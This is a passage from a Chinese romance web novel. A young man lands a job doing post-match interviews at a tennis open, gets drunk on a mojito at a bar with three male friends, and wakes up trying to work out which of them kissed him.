温绒一边庆幸自己穿得多,一边进行着人生中第一次面试。 幸好有着在讲台上面对记者的经历,他并没有表现得太紧张,而且HR还是个笑容好看的姐姐,极大的缓解了忐忑的情绪。 在总经理表示想给他增加报酬,让他转到赛后采访组的时候,温绒简直受宠若惊。 这份工作从字面上看好像比安保更重要,他以前从来没接触过。 但没有拒绝。 温绒不知道从什么时候起就有了足够的自信,潜意识认为自己可以胜任! 所以从办公室走出来后,温绒没有直接走,而是因为太激动,在门口就摸出手机给莱昂讲自己应聘成功的好消息。 “温绒。” 身后突然传来声音,温绒连忙把手机放下。 回头看见HR,礼貌问好,“你好。” “你的变化真的很大。” 以为HR看过自己在校庆上的视频,温绒道谢,“谢谢。” “你不记得我了?” 啊?原来我跟HR认识吗? 可是温绒努力想了想,始终没能把HR这张脸跟记忆里的人对上,有些心虚,不知道该怎么回答。 索性HR继续说:“开学的时候,我去弗罗里曼学院给时野送杂志,当时在时野的别墅看见过你。” 记忆播放电影似的回转,温绒记起那天发生的事,但当时太害怕了,根本来不及看在场还有哪些人,除了时野,其他人的脸都很模糊。 温绒只能给HR道歉,“不好意思,我当时没注意。” “没事,我理解的,你当时……有一些特殊情况。” HR摆手笑道,“不提那些不好的回忆了,我叫住你主要是想说,那个狗教练说你不配跟时野做朋友,但我一直都觉得他们才不配跟你交朋友,你很优秀,也特别好。” 温绒:“…………” 温绒:“啊?” 电梯上下,叮一声,门打开,温绒若有所思地走出来。 被夸奖了,但他并没有感到开心,因为满脑子都是“不配跟时野做朋友”。 温绒意外地介意这句话。 他已经把时野当做朋友了,突然被质疑,心情不妙。 尽管事情发生在很早以前。 为什么不配? 阳光落在头上,抬眼间看见刚才送自己来的保姆车就停在十米开外,车窗开着,要不是知道车上就司机、莱昂学长、周谢、时野四个人,他差点没认出那个板寸头的男声。 时野剪头发了。 嗷,上次给他说过别染头发了。 温绒心里莫名生出不太善良的想法。 他抬手揉了揉脸,把困惑全部揉掉,剩下“心情不妙”的模样,走向保姆车。 “怎么这副表情?不是面试通过了吗?”一上车,莱昂便问。 温绒摇摇头,顺势偏头看向莱昂身侧——时野的方向。 时野愣了下,抬手刻意地摸了摸头。 没有任何刘海遮挡,凌厉的五官褪去锋芒,露出骄傲的神色。 温绒瞄准时机开口:“我才知道,原来我不配跟时野做朋友。” 时野果然动作一顿,眼珠子快要掉出来,“艹!谁说的。” 温绒不语,沉默地看着他。 过了一两秒,头低下去。 这一刻,一整天没得到半句好话的周谢舒展身姿,换了个姿势抱胸端坐。 ——他刚长出来DNA告诉他,温绒又要干坏事了。 果然,时野恋爱脑上头,还伸手去拉温绒解释,“不是,你没有不配。那些人乱说,他们什么都不知道。” 温绒闷闷道,“真的吗?” 时野张了张嘴,视线转向似笑非笑的莱昂,好像误会了什么,恶狠狠暗戳戳道,“说这些话的人绝对居心不良,想挑拨我跟你的关系。” 周谢无语的时候很想笑,偏头无声轻哼。 “真的,你信我。” “噗嗤——” 温绒终于憋不住笑出声。 时野看向莱昂,又看回温绒。 温绒咬唇摇头,“没人说,我刚才逗你玩。” “真的?” “嗯。” 时野终于反应过来,温绒确实在开玩笑。 有些诧异,温绒竟然会开玩笑! 但回味着,又心里泛起甜味儿。 温绒竟然跟我开玩笑,这说明他跟我的关系已经更进一步! “温绒,别跟时野开这种玩笑,他会生气。” 艹! 不是,莱昂你说的公平竞争就是当面诋毁我?! “不,我没生气。”时野赶紧解释。 温绒缩了缩脖子,“不好意思,我下次注意。” 时野:“……” 莱昂达到目的,自然而然地岔开话题:“你工作谈得怎么样?公司安排你住哪?我们送你过去。” 一连串问问得温绒蓦然一愣,而后迟钝地张了张嘴,闭上嘴。 随后迅速低头摸手机。 风呼呼地吹进来,半长的碎发被掀开,白皙额间莹润,铺着一层薄汗。 半分钟后,温绒绝望地抬头:“HR姐姐说,我这个组的只有工资,不包吃住。” 周谢得意冷笑,在寂静中用哼声讽刺温绒的婉拒行为。 温绒努力想办法:“我看看还有没有酒店可以定。” 周谢:“1区酒店不多,为了网球公开赛早就全订满了。” “我找HR姐姐问一下还有没有空位。” “有空位怎么可能不安排你们组的住宿。” 莱昂柔声插进对话:“你新去的组做什么工作?” “说是进行赛后采访……” 时野眼睛一亮,“那到时候你来采访我吗?” 温绒:“啊?” “我明白了,做采访的都是知名记者或者前远动员,身份比较特殊,不适合跟普通员工一起吃住。”莱昂带回话题,又问:“合同签了吗?他们给你多少报酬?” “合同要HR姐姐走完程序才签,报酬有50万,就决赛当天进行赛后采访。” “你现在口碑很好,这个价格其实有点低,不过你是纯新人,也就采访一天,当积累经验吧。到时候你把合同发给我,我帮你看看里面有没有不合理的条款。” “谢谢学长。” 时野眼见莱昂段位如此之高,不甘示弱,“你要采访就要提前了解网球方面的东西,正好你也没地方住,去我家,我还可以教你点采访知识。” 温绒:“你家?” 时野暗暗得意,“对,我在这边也有套房子,给你腾出个房间不成问题。” “嗯,时野在哪都比较挑,不喜欢跟别人挤,哪都有他的私人住处。”莱昂淡定看向时野,“给我也腾个房间,我也过去。” 时野:“你去干嘛?!你家不就在1区。” “我为了看你比赛特地从研究基地偷跑出来,回家会挨揍。” 时野:“……” 时野最后看向一直没吭声的周谢,表情里写满了“你别来我家”的意思。 周谢冷哼一声,偏头看风景。 时野松了口气。 不过他转念一想,艹!我不想你来我家还需要什么理由?我直接不同意。 “我知道怎么做专业采访,我顺便过去教他。” 温绒眼睛瞪大,“除了网球知识还要学什么?” “知道怎么问话吗?怎么带动嘉宾说出有意义的答案,如果嘉宾不想回答,怎么缓解尴尬……” “……” “哼,你以为50万好赚吗?那是全联邦直播的节目,你要是表现不好,以后就是身价5毛。” 温绒浑身一抖,时野就知道,拒绝不了了。 艹! 周谢干嘛缠着温绒? 第88章 第 88 章 你的嘴怎么破了? 等保姆车开回家的时候, 时野终于想到其中不对劲的地方。 学什么专业采访,温绒肯定是采访我,跟我单独对台词不就行了。 但车已经快要到家, 时野来不及叫周谢滚蛋了。 他只能想,莱昂才是最大对手,暂时跟周谢团结起来是个不错的计划,毕竟周谢顶多就是想拉着温绒一起干事业……是吧。 周谢缠着温绒就是想让温绒从政,周谢应该是不喜欢温绒的,他那样子就不像喜欢。 恋爱经验为0的时野经过一系列复杂推导后,成功把自己忐忑的心定下来。 与此同时, 温绒望着窗外。 或许不是窗外,而是一抹金色的阳光。 天气很好,是在学校看不见的好景色, 他享受在这一刻,觉得全世界都是金色,跟学长的头发一样明媚, 天也很蓝,跟学长的眼睛一样。 “温绒。” 听到学长叫自己, 温绒控制不住想要笑的冲动,回头问:“嗯!学长。” 莱昂伸手掰开车上一处的盖子,从里面摸出块指节大小的东西,“吃一点垫肚子。” 温绒还没看清是什么, 一只手猛然抓走。 “靠,不准拿我的东西给温绒。” 温绒疑惑望过去,时野抓着东西愣了下,凌厉的脸上显露出几分紧张,“不是, 我是说不许他把我的东西给你……不是不是,我不是那个意思,我没有不给你,我是想自己拿给你。” “呵。” 周谢抱胸轻笑,时野回头给他一拳,骂了句“滚”。 随即回头来哗啦哗啦拆开包装袋,递到温绒面前,“你尝尝,营养师专门配的,味道不错。” 温绒这才看清时野抢走的东西——是一块巧克力,颜色深到接近黑色,阳光一照,又浮着褐色的光芒。 跟时野的皮肤很像。 温绒的凝神欣赏在心虚的时野看来像是婉拒,时野暗地里伸脚踢一下莱昂,眼神暗示他说点什么。 莱昂学着周谢抱胸冷笑,不搭理他。 时野更用力踢,莱昂反应慢半拍,被踢了后才缓缓给脚换个位置,不给时野再踢的机会。 “很好吃,你尝尝吧。” 时野求救失败,祈求似的把巧克力往温绒嘴边凑了凑,目光灼热。 温绒终于低头,张嘴咬下一截,并向时野点头表示自己的赞赏。 时野终于松口气,“那我让营养师多做点,以后天天给你带。” 余光从温绒满足的脸上无意间瞥到自己手里。 深褐色的长方形缺出一角,留下一排整齐牙印。 时野举着半边巧克力呆愣两秒,默默把包装纸全部拆开,当着莱昂的面塞进嘴里。 巧克力在这样温暖的天气里变成软软滑滑的口感,卷一卷就会从一条变成一团,温绒的牙印包在最里面。 他用舌尖把巧克力顶在上颚,丝丝甜味淌进喉咙。 风一阵一阵地往里吹,车拐个弯,人开始晃,心也荡漾。 滋啦滋啦—— 司机在前头说:“少爷,门口人多,我先把车窗合起来。” 时野跟时常远还处于分家状态,他住的这个庄园是他妈结婚前住的,前半部分作为博物馆开放给游客参观,后半部分才是私人住所。 因为今天的比赛又是大获全胜,痴迷时野的粉丝都跑到博物馆门口来蹲守,保姆车前进得艰难,短短百来米路程,用了将近两个小时。 等4人下车,车里跟外面的天一样暗。 走过十来米的长路,进入大门。黄澄澄的大厅富丽堂皇,中间吊灯周遭坠满水晶,表面切割平滑,折射灯下晃动的人影。 玉白的餐桌上,摆着比温绒脸还大的白色盘子,正中间有半边巴掌大的肉,厨师用酱汁点缀出好看的几何形状。 刚才的半口巧克力缓解了奔波一天的饥饿感,温绒还能镇定品尝肉的味道。 “温绒。”莱昂喊他。 “嗯,学长。” 温绒放下叉子,看向莱昂学长的方向。 “别紧张,只是想问一下你有没有想去逛的地方,合同签订之前可以去逛逛。” 有的。 攻略里写了好多1区好玩的地方,温绒顺便都看了,被那些绘声绘色的文字动摇。 但是工作重要,温绒按捺住自己心里的欲望,“我要跟周……会长学习专业采访,还要学网球知识,等忙完再去。” “那就是有?” 学长怎么猜得到! 好厉害。 温绒迟疑点头。 “那就这几天去逛逛吧。” “可是……” 莱昂脸上浮起诡异的微笑,“不用太有压力,你的工作难度跟时野挂钩,时野要是夺冠你采访的就是他。” “当然,他要是没夺冠的话,另当别论。” 吃着饭的时野顿时生出“责任重大”的压力来,连忙说:“我肯定拿冠军。” 莱昂接过话,“所以明天可以暂时轻松一下,想去哪玩。” 听完学长的话,温绒整个表情都变得轻松,摸出手机把收藏的蓝书笔记展示出来,“我想去这里。” ——“闲酌” 莱昂设想温绒会去博物馆动物园这样的安全场所,连怎么安排都准备好了,结果温绒要去一家酒吧? “你确定要去?” “嗯嗯。” “怎么忽然想去闲酌?” 话音落下,斜对角的周谢发出呛咳声,好像听到了什么笑话,拿卫生纸挡住嘴。 温绒不解地望过去,周谢不看他,也不回应为什么笑,只好又回望莱昂,解释:“我本来想去博物馆,但那边要提前预约,我没有约上。蓝书上有网友说来1区一定要去这个地方,晚上有乐队表演,还不要门票。” “毕竟是酒吧,可能会有一些乱。” 温绒滑几下屏幕,把网友留言给莱昂看,“网友们都说这里治安特别好,没有人会闹事。社团招新的时候我有看过现场唱歌跳舞,很好看,想再去看。” “想去酒吧看现场表演啊……”莱昂缓慢地拿叉子戳了下盘子,脸上笑容加深,“那快吃饭,吃完饭就去。” 温绒一愣,“今晚就去吗?” “学长被你安利到了,也很想去看现场表演。” “艹!”时野突然跳起来。 三人齐刷刷向他看去,纷纷不解他突然爆发的行为。 “你故意挑我赛前训练的这几天。” 莱昂:“你好好训练,给温绒减少点工作压力他才能玩得开心。” 时野:“……” 无法反驳- 吃过晚饭,莱昂开着时野的车带温绒出门了。 由于“闲得无聊”、“来都来了”等各种原因,车的后座坐着周谢。 这几天网球公开赛,1区聚集了比往常更多的人,跟温绒一样看攻略后选择来闲酌的游客很多,乐队还没到场,门口已经人山人海。 其实不只是温绒,莱昂跟周谢也是第一次来这种地方,在拥挤的人海中不可避免地表现局促。 周谢眉头拧得老紧,莱昂说了数次“不喜欢的话你可以先回去”,都被周谢冷笑回复“别把我当时野”。 莱昂微笑,意味不明。 半小时后,经过半小时的排队,三人总算进场,被安排在一个能吹到夜风的位置。 穿着西装马甲的服务员很快来为他们送上免费提供的柠檬水,以及菜单。 “想喝点什么?” 温绒看菜单,第1次生出自己是文盲的错觉。 怎么每个字都认识,但组在一起就完全理解不了是什么意思呢? 而且…… 好贵! 好贵! 一杯饮料怎么就要上百。 “帅哥。” 菜单越往后翻,价格就越贵。 温绒被一百两百三百甚至上千的数字震惊时,有人走向他们这桌,拍了拍莱昂的肩膀。 温绒抬眼看见一个男生,打扮时尚,齐肩的头发编着彩色辫子,灯光很暗,他脸上却很亮。 因为他很好看。 温绒意外感受到男孩由内而外散发出的活力和热情,跟这个全是年轻人的地方完全相融。 男孩冲莱昂抛了个媚眼,“可以给个联系方式吗?” 没等莱昂回答,睁开的眼皮子放射余光,在同桌的温绒和周谢身上扫过。 犹如x光线精准识别,温绒的脸上骤然出现一大个红圈,标注感叹号。 男孩暧昧的笑容在短暂思考后骤然僵住,随即彻底转脸过来正对温绒:“你你你你——” 温绒捧着柠檬水:“?” 男孩不只是看,还朝温绒的方向伸长脖子,好像终于从黑框眼镜里找到真相,眼睛瞪得比刚才更大。 “嘘——”莱昂率先出声。 “啊!” 男孩慌张摸左右两边口袋,掏出手机时没拿稳,手在空气里接了两下,在屏幕报废之前运气极好地接住。 随即冲到温绒面前,“可以和我合影吗?我超级超级喜欢你。” 温绒继续捧着柠檬水,“啊?” 莱昂开口:“你不是来要我的联系方式吗?” 男孩陷入激动的纠结中,舌头边打结边询问:“可不可以两样都选。” “不可以脚踏两条船。”莱昂笑笑,摸出手机递给男孩,“加我联系方式吧。” “我选跟温绒合影好吗?” “呵——”周谢的冷笑适时出现。 莱昂往他那边瞥一眼,用眼神示意“滚”,回头来继续笑道,“这次是我们学生会会长带温绒过来工作,不太方便。” 男孩想了想,大概觉得莱昂说的合理,点了点头,遗憾回到他的座位。 他是跟朋友来的,基本都是女生,女生们激动等着主动出击的他回去,看他的模样大概猜到什么,又拍拍肩膀又抱抱,像是安慰“要联系方式失败”的好友。 可是在几秒后,漂亮女生们愣住,连带着男孩一起齐齐看向温绒。 温绒举起杯子企图挡住自己的脸。 莱昂挪一下椅子,挡到温绒面前,“周谢,帮忙找间包厢,别让人知道他来过这儿。” 温绒呼出一口气。 回过味来,“为什么不能让人知道?” 莱昂低下头,“怎么还是笨蛋?” 鬓角的头发被吐息吹开,温绒下意识往外躲了躲,脑门却撞上东西。 “别动。” 温绒不敢动了,视野里一片黑,但他心里又知道,那是学长的胸口。 “现在所有人都把你当好好学生,出现在酒吧这种地方不太合适。” 学长的衣服很香,用烟熏出来的浓郁味道让他有些着迷。 ——你喜欢他 火车上的对话穿越时空来到面前,温绒的瞳孔在黑暗中紧缩,意识到自己脸都要贴到学长的衣服上,连忙倒退。 视野扩大,学长背着光,看不清脸。 但温绒有种感觉,那双湛蓝的眼睛一直看着自己。 “喜欢学长身上的味道?” 好像什么事都瞒不过学长。 温绒低头避开视线,闷闷点头。 “和巧克力比呢?” “嗯?” 衣服的香味和巧克力怎么比? 温绒不知道怎么回答,想喝口柠檬水缓缓,凑近嘴里喝了口空气,才发现玻璃杯空空如也。 “我的还有。” 学长把还剩半杯的柠檬水递到面前。 温绒慌张摇头,“不用不用。” 莱昂:“学长不喝了。” 温绒犹疑接过。 他不渴,喝水只是想在迷茫的时候找点事做,现在问题似乎过去了,似乎也没必要再喝水。 “砰” 一个服务员路过桌边,在温绒面前放下满杯的柠檬水。 跟温绒手里的玻璃杯长得不一样,有些凹凹凸凸的造型,而且里面至少有半颗青绿的柠檬,杯口飘着叶子,一看就不是免费的饮品。 温绒连忙喊住服务员,“你好,这不是我们点的。” 服务员指向远处:“先生,这是那桌客人为您点的。” 谁? 温绒循着服务员的方向,看到刚才编着彩辫子的男孩,男孩朝他招了招手,旁边几个女孩激动地聚成一团,也朝他招招手。 温绒下意识鞠躬,本想让服务员把柠檬水送回给那个男孩,但服务员已经走了,留他尴尬地看看柠檬水,又看看那群女生,最后看向莱昂。 “学长,我把这个还给他们可以吗?” “都送过来了,你要是于心不安,可以也帮他们点一份。” 温绒愣了愣,对莱昂学长生出崇敬之情。 学长的提议太好了,比把柠檬水送回去更好,是非常完美的做法。 温绒把这个知识计入脑子,立马行动,去找服务员给那一桌点了菜单上看起来最健康的鲜榨果汁。 价格有点贵,幸好他已经有了工作,不至于肉痛。 温绒回来,周谢也正好回来,身后跟着店里的经理,表示已经给他们安排好包厢,现在就可以去。 温绒用两纸包着那个男孩给自己点的那杯柠檬水,跟着经理上楼。 二楼,从窗户朝外看就能看见完整的舞台,直线距离只有二十来米,可以说是最佳观赏位。 短暂的路程中,杯壁上的卫生纸全都湿透了,温绒的指头冻得发僵,迅速放到桌子上。 他坐下,用吸管搅了搅,发现里面几乎全是冰,不禁疑惑: 这杯全是冰的柠檬水为什么能值一百多? 因为很好喝吗? 温绒没有忍住,张嘴咬上吸管——冰凉液体冲进口腔的瞬间,难以言喻的刺激直冲大脑。 “滋啦——” 温绒猛然冲出椅子,又哗啦倒下,张开嘴吐出被刺痛的舌头,用力闭紧眼睛打了个冷颤,五官几乎皱成一团。 “怎么了?” “#*@%……” “疼?” 温绒把舌尖缩回去,用力抿一抿,让所有的苦味都抿开,才能勉强说话:“学长,这……不是柠檬水。” “这当然不是,这是莫吉托。” “莫……” 温绒试图重复这个名字,但失败了,这个词过于陌生,他没办法准确说出口。 “莫吉托,一种以白朗姆酒、苏打水、薄荷、青柠混合调制的鸡尾酒。” “我以为是柠檬水。” “那个男孩该伤心了,这杯酒的寓意是浪漫的爱情,结果你以为是柠檬水。” 温绒:“…………” “不过你在酒吧给他点鲜榨果汁,他应该明白你还是小孩子吧。” 包厢里的灯光比外面亮,暗黄色,莱昂抬手撑着半边脸,眼睛弯成一条线,边说边笑。 温绒有种想解释又不知道该解释的无措,无奈挠挠头。 莱昂:“你第一次喝酒吗?” “我吃过酒心巧克力。” “呵——你怎么不说你吃过酒酿丸子。” 周谢今天像极了一个旁边的烦人精,时不时要嘲笑一下让人不自在。 温绒不知道怎么就生出一股气,把莫吉托往周谢的方向一推,“那你来。” 周谢低着下巴瞥他,“喝醉了?” “酒的分量应该很足,那么多客人,他家不敢往酒里兑水。” 原来是因为真材实料。 温绒点一下头,疑问得到解答。 “不过也才一口,应该不至于醉。” 温绒又点头,“没醉。” 是真的没醉,还能看得清学长跟周谢,站起来,原地转一圈,确定也可以正常走路。 就是每隔十几秒,脑子会恍惚一下。 他想起武松打虎那篇课文,顿时心生崇敬。 竟然可以那么大口畅快地喝酒,喝完还去打老虎,武松真厉害。 “温绒,下面要开始表演了。” 声音和风一样从脑子里飘过,什么都没留下,温绒举起杯子,意外发现只剩半杯。 怎么就剩半杯了? 哦,刚才叫周谢喝了。 还剩下半杯,怎么办呢…… 温绒起了些小心思,把杯口朝莱昂递过去,“学长,你要尝一口吗?” “噗嗤——” 温绒固执地重复:“学长,你要尝一口吗?” “喝不完就别喝了。” “学长,你要尝一口吗?” “你醉了。” 温绒不确定,自己站起来,想要绕一圈看看自己是不是真的醉了。 谁知刚站起来,哐叽一下摔回椅子。 热气从领子里冲出,烘着温绒的脸。 霎时间,歌声、学长的说话声、人群里的喧闹都跟催眠曲似的,让眼皮子越来越重。 温绒回忆起小时候,有次下雨没带伞,跑回福利院时浑身都湿透了。 同样遭殃小孩很多,几个女孩子还摔了跤,膝盖上全是血。 院长跟阿姨们都忙着给女孩们处理伤口,无暇顾及其他,温绒跟其他小朋友一起坐在旁边的楼梯上静静地等,等啊等,等到雨停,天黑。 当时也是这样的感觉,领子里冒着热气,脸颊被烘得滚烫,脑子清醒一阵,恍惚一阵。 再睁眼,人就在医院里了,医生说他淋雨发烧,需要多喝水。 发烧…… 对。 温绒猛一下来了精神,“学长,我发烧了,我想去医院。” “你没有。” 本来只是陈诉,但学长否认,温绒着急起来,“我真的发烧了。发烧不能耽误,会烧笨的,以前有个小朋友就是烧笨了被爸爸妈妈丢到福利院门口。” “喝水吗?” 温绒想起医生说发烧要多喝水,于是点头,“要,要多点,喝多点水病就好了。” “你没发烧。” 好怪。 学长怎么有点讨厌。 不过温绒还是选择信任学长,猜测学长这么坚持,说不定自己真的没有发烧。 为了检验,他抬手摸自己的脑门——滚烫滚烫,手心热得生汗。 温绒有了信心,伸手拉学长,“学长你摸,我真的发烧了。” “知道了。” 温绒活动五指,举着空荡荡的手用力眨眼睛,想要确定自己刚刚是不是真的抓到学长了。 他记得抓到了呀。 那为什么手是空的? 啊!他还没给学长证明自己发烧了。 温绒伸手过去抓学长的手。 有些急,脑袋也凑上去。 “嘶——你干嘛?” “学长,你摸摸我的脑门,我真的发烧了。” “……” 空气静默一瞬,虚空中卡顿运转的机器回到原点。 他还没有给学长证明自己发烧了。 温绒手伸过去,与此同时,终于有东西贴到脑门上。 他舒出一口气,“是不是,我真的发烧了。” “起来。” 温绒噌一下直起背,听到外面有歌声,很动感的音乐,跟社团招新时的表演完全不一样。 好吵。 好吵啊。 温绒难以忍受的捂耳朵,“学长,那个歌好吵,不想听了。” “你非要来。” “对不起。”温绒闷闷地低下头,忽而又高兴起来,“学长你家在这里,带我回家吧!回你家。” “你去我家干嘛?” “唔……”温绒习惯性举起两只手拍自己的脸颊,让自己清醒,“因为我喜欢学长,想去学长家。” “那学长可以亲你吗?” 周遭浑然安静,好像关上了窗,嘈杂的音乐声全部隔绝在外。 “学长,我发烧了,不信你摸。” “发烧了?” 刘海被掀开,发根传来细密的电流。 温绒不禁一颤,有种凉透心的错觉。 一块冰落在眉心,很快被过高的温度融化,变成水滴往下掉。 顺着鼻梁流到鼻尖。 有些痒,温绒忍不住做了个侧头的动作。 正好蹭到东西,鼻尖的痒意意外止住。 他觉得舒服,仰脖凑上去继续蹭。 摩擦的声响细细密密,偶然扯开唇角,上下唇瓣蹦开,发出清脆的“bang”。 房间内静悄悄,床头灯印上墙面,两道影子纠缠。 骤然间,温绒倒退,两只手用力拍在脸上,大声嘀咕:“不可以放纵,不可以放纵,不可以放纵……” “温绒,你发烧了吗?” 虚拟的开关控制住卡顿的机器,内存一键清空。 温绒伸手去抓学长,“学长,我发烧了,不信你摸。” “是有点烫。” “我要喝水,喝水就不会把脑子烧坏。” “那你坐好。” 温绒立马坐得板正,两只手习惯性搭到膝盖上。 只是有些奇怪,膝盖怎么是软的呢? “不可以乱摸。” 温绒歪一下脑袋,不知道学长为什么要这样说,“为什么?” “张嘴喝水。” “嗯。” 没有水。 学长吻他张开的嘴。 被酒精消解的注意力缓慢聚集,黑漆漆的脑子里突然劈出一道闪电,照亮蠢蠢欲动的念头。 短暂几秒,温绒心脏狂跳,变成急速膨胀的气球,抵得胸口呼吸不过来。 这样的感觉太过激烈,他下意识偏头躲开,而一只手扶着脸颊,强迫他偏回去。 唇瓣又被吸住了。 温绒的身体也被吸住了,像站在阴森森湿漉漉的风洞前,风拽着身体往前,特别是脑袋,冰凉的手扯着下颚,指腹贴紧耳朵后面那块软软的肉,中毒似的晕眩、痒。 热风持续往脸上扑,温绒不得不闭起眼睛。 风仍然不止,往嘴里钻,绕开舌尖,撞着嗓子。 砰砰 砰砰砰 咚咚咚咚 心跳如雷。 在某一刻,温绒身体一轻,后背贴上东西。 以为那是床,脑袋后仰,靠上枕头。 只是不知道为什么,这个床很硬,躺着并不舒服,更像滑滑梯,迫使身体下坠。 迟钝的脑子在几秒后才想明白,这不是床,学长只是像贴纸一样把他贴到了墙上,四肢悬空,被彻彻底底扣住了。 混乱的脑海中蓦然想起蛇,滑的、灵活、抓住猎物就抵死纠缠,张大嘴吞进肚子里。 恐怖的形象令身体陷入可怕的颤栗,温绒胡乱挥舞拳头,奋力曲腿抵在面前,却没有找到着力点,又被轻易卷紧,一动不能动。 直到蛇衔着软软滑滑的东西重新闯进来,甜味融化,恐惧随之而散。 静谧的夜,蛇湿润地离开- 清晨,5:00,阳光爬上窗,盈满整洁的房间。 温绒机械地从床上坐起,正想下床,太阳穴剧痛,不得不重新倒回床上。 “哥哥?” 【宿主,我在。】 “我头好痛,我生病了。” 【宿主,这是喝酒后遗症。】 哦,我昨晚喝酒了。 温绒明白了,也彻底放松下来。 扶着床重新坐起,甩了甩脑袋,坚持起身。 【宿主。】 “嗯?” 【你还记得昨晚发生过什么是吗?】 “唔……嗯?” 温绒眨巴眨巴眼睛,跟着系统的提醒回忆。 回忆到身体不再受控制的一刻,脑子里嗡地一声响,彻底傻了。 阳光带来的热气让脸瞬间通红。 “哥哥,我跟学长……” 【宿主喝醉了,系统也出于断联状态,但是你的嘴破了,很明显。】 我的嘴破了! 温绒吓一大跳,勾着背踉跄跑到卫生间,果然看见镜子里自己嘴巴通红,下唇裂出一道口子。 约莫是流过血的,唇纹都藏不住这么大的伤口。 咚咚咚 敲门声突然响起,温绒警惕地看向门外,有种当小偷被抓住错觉,脖子一缩不敢动弹。 “温绒,醒了吗?” 还好是学长。 等下,学长??? 温绒肩膀都内扣起来,后背胆怯地往墙上靠。 “温绒,我可以进来吗?” “不——” 咔擦 根本不等温绒说完,门口被拧开。 温绒下意识想伸手合上卫生间的门,却在刚摸到门把手的瞬间跟莱昂对上视线。 中毒一般,身体无法再动弹。 “头还疼不疼,昨晚你喝了一整杯酒。” 温绒迟钝地发抖,眼睁睁看着莱昂靠近,唇上完好无损,甚至都没有肿。 莱昂:“你的嘴怎么破了?” 温绒:“昨晚……” 两道声音一齐响起,彼此都听清对方的话。 温绒:“啊?” 温绒眼见着莱昂学长更加走近,湛蓝的眼珠子映出自己惊恐的脸。 两人贴得极近,但又没那么久,混乱的记忆里,有一刻比现在更近,至少是鼻尖被抵得生疼。 莱昂眯起眼睛,笑容散去,表情严肃起来,“昨晚怎么了?怎么会咬到嘴?” “啊?” “我去给你拿药,赛后采访要全球直播,你这样会影响上镜。” “等等,学长——” 温绒的脑子没有那么多功能,不能一边回想昨晚的事一边思考学长的问话还要考虑工作。 一件一件来。 一件一件…… 温绒深吸口气,“昨晚……” “嗯。” “昨晚……” “昨晚怎么了?” 温绒悲哀地发现自己问不出口,郁闷地垂头。 要怎么问啊,昨晚你跟我接吻了吗?我们好像吻了很久,我的嘴是你弄的…… 根本问不出口。 “你想问昨晚谁送你回来的?” 温绒胡乱点头,“嗯嗯。” “昨晚我接到研究基地的电话必须要先走,是周谢带你回来的。” 温绒眼睛蓦然瞪圆。 那就是说—— 昨晚上不是学长,而是周谢?! 第89章 第 89 章 好想接吻 温绒的天都塌了。 脑子嗡嗡的, 甚至忘记学长还在旁边,拧开水龙头洗嘴。 “别用水碰,我去找药给你擦一下。” 温绒用力晃脑袋, 唇上的伤口又裂开,渗出血。 “咚咚” 又一道敲门声插进来。 温绒停下动作,跟莱昂学长一齐回头,看见时野站在门边。 刚打完球似的,穿着特殊材料的夏季运动服,额头上绑了个发带。 温绒本来应该会尴尬的,但他余光瞥见时野手里拿着条药膏。 大概察觉到他的视线, 时野忙不迭把手藏到后背去。 温绒心里生出诡异的对比,比起周谢,他更能接受昨晚是时野。 “昨晚……” 时野表情一凝, “昨晚我……我……” 说着说着,看向莱昂,“昨晚你跟莱昂他们玩得开心吗?” 温绒很想问昨晚是不是你, 但感觉问了,就暴露了这件事, 而且还是在什么都不知情的莱昂学长面前。 温绒犹豫了下,改口说:“莱昂学长昨晚很早就走了。” 时野眼神怪异,“你很早就走了吗?” 莱昂笑容微僵,“我昨晚接到研究基地的电话, 去了总院一趟。” 时野:“那我昨晚都在网球馆训练。” 温绒垂下头,拿毛巾擦脸。白生生的毛绒上留下一道并不算鲜红的血迹。 早饭时周谢没在,管家说周谢大清早就出门了,说是回家见他父亲。 周总统日理万机,也是趁着网球公开赛决赛的机会才勉强回趟家。 温绒心不在焉地吃着东西, 愤懑的情绪逐渐冷静下来。 他想,这件事也不能只怪一方,两个都是男人谁也不能说谁吃亏,更何况自己真的记不清昨晚的很多事了,万一是自己强吻周谢呢?喝醉酒的人什么都干得出来。 这么想,似乎是自己还要给周谢一个交代。 纠结很久,温绒唯一得出的结论就是:下次不能再喝酒了。 太阳从天边转到头顶,莱昂学长又接了电话走了,温绒借用时野的电脑在网上看了往年的赛后采访。 去年的视频里,时野才17岁,竟然比现在还黑一些,灰色的头发在阳光下近乎白色,表情冷冷的,工作人员问他第一次上场紧不紧张,他说“不”,问他夺冠的心情怎么样,他说“习惯了”……看起来很不好相与。 “温绒。”窗外传来喊声,温绒偏头看见时野举着个网球拍朝自己招手。 温绒沉默,时野就跳起来,兴奋得像猴子,“我训练完了,要不要出去逛逛。” 温绒回头看一眼电脑屏幕,想到一个词:表里不一。 好像不是这么形容的。 开学时时野跟视频里一样凶。 温绒胡思乱想着,房间门就被敲响,时野从下面一下子转到了上面,简直跟瞬移一样。 温绒难以置信的眨眨眼睛,扭头看向窗外,想知道是不是有第2个时野。 “1区的春天比学校那边来的早,开花了。”时野的手猛然从背后掏出一朵白色的花凑到温绒面前,“喜不喜欢?” 白色的花瓣圆润饱满,看起来有些厚度,但在阳光下一照,又仿佛透光一般,像是玉的质感。 温绒复杂的心情意外清空,好像无形中接收到了这朵花接收到的所有太阳。 “这是什么花?” “玉兰花。”时野走到窗边,指向一个方向,“我记得这里能看到,你看那边。” 温绒的视线跟过去,看到网球场旁边有课结着白玉的树,不夹杂一丝绿色,纯粹的白,漂亮得像前几天他看见的雪。 “好好看。” “捡到花的时候我就想,你喜欢看风景,肯定会喜欢。”时野骄傲地说。 “嗯,我很喜欢。” “想不想下去,还有其他花也开了。” “想……” 嗡地一声,楼下开来一辆车,司机迅速绕一圈打开后门,周谢从车里出来。 白衬衫,黑西裤,黑框眼镜架在骨感的脸上,有种黑魔王降临的恐怖感觉。 “不了。”温绒立马改口。 “怎么不去了。” “我要跟周谢学专业采访。” 温绒其实更想说我得跟周谢谈谈,但又不想让时野知道昨晚发生的事,只能含糊说个大概。 “跟他学什么,你采访我啊,跟我练习就好了。” “我想专业一点。”这倒是温绒的真心话。 他觉得自己应该对得起50万的报酬才行。 几句谈话结束,周谢也上楼来了。 阴森森的脸朝温绒一望,露出平时不会出现的复杂表情。 温绒满脑子只有一个想法——我有罪。 周谢:“结束了么?” “什么事?” “我找他。” 周谢对着时野说,这个“他”不言而喻。 温绒浑身一抖,想到以前在福利院的时候,有的小孩乱搞,被女孩子家长找上门揍了一顿。 